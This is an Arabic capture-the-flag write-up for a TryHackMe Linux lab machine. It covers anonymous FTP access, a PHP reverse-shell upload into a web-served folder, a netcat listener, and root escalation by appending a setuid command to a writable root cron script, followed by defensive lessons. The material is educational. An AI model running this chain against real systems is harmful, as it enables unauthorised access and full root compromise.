
معلومات عامة
| المعلومة | التفاصيل |
|---|---|
| المنصة | TryHackMe |
| الصعوبة | Easy |
| نظام التشغيل | Linux |
| المهارات | FTP, File Upload RCE, Cron Privesc |
المرحلة الأولى: الاستطلاع
# Nmap scan
nmap -sV -sC -p- --min-rate 5000 10.10.X.X
# النتائج:
# PORT STATE SERVICE VERSION
# 21/tcp open ftp vsftpd 3.0.3
# 22/tcp open ssh OpenSSH 7.2p2
# 80/tcp open http Apache 2.4.18
المرحلة الثانية: FTP Anonymous Access
ftp 10.10.X.X
# Username: anonymous
# Password: (فارغ)
ftp> ls -la
# نجد مجلد /ftp يحتوي ملفات
# notice.txt, important.jpg
ftp> get notice.txt
ftp> get important.jpg
محتوى notice.txt:
Whoever is leaving these lying around, please stop!
المرحلة الثالثة: Web Enumeration
# فحص الويب
gobuster dir -u http://10.10.X.X -w /usr/share/wordlists/dirb/common.txt
# نجد:
# /files (200) ← مجلد مشترك مع FTP!
المرحلة الرابعة: RCE عبر PHP Shell Upload
# رفع PHP reverse shell عبر FTP
ftp 10.10.X.X
ftp> put shell.php
# تشغيل netcat listener
nc -lvnp 4444
# تشغيل الـ shell عبر المتصفح
# http://10.10.X.X/files/shell.php
نحصل على Shell!
# تثبيت الـ shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
المرحلة الخامسة: Privilege Escalation
# البحث في الـ logs
ls /incidents/
cat /incidents/suspicious.pcapng
# نجد كلمة سر في ملف الـ pcap
# أو نبحث عن cron jobs
cat /etc/crontab
# نجد script يعمل كـ root
# نعدّله لرفع صلاحياتنا
echo "chmod +s /bin/bash" >> /path/to/script.sh
# ننتظر الـ cron يعمل...
/bin/bash -p
الـ Flags
user.txt: THM{XXXXXXXXXXXXXXXXXX}
root.txt: THM{XXXXXXXXXXXXXXXXXX}
الدروس المستفادة
- Anonymous FTP يجب تعطيله في الأنظمة الإنتاجية
- مشاركة مجلد FTP مع الويب ثغرة حرجة تسمح بـ RCE
- Cron Jobs تعمل كـ root مع ملفات قابلة للتعديل = خطر كبير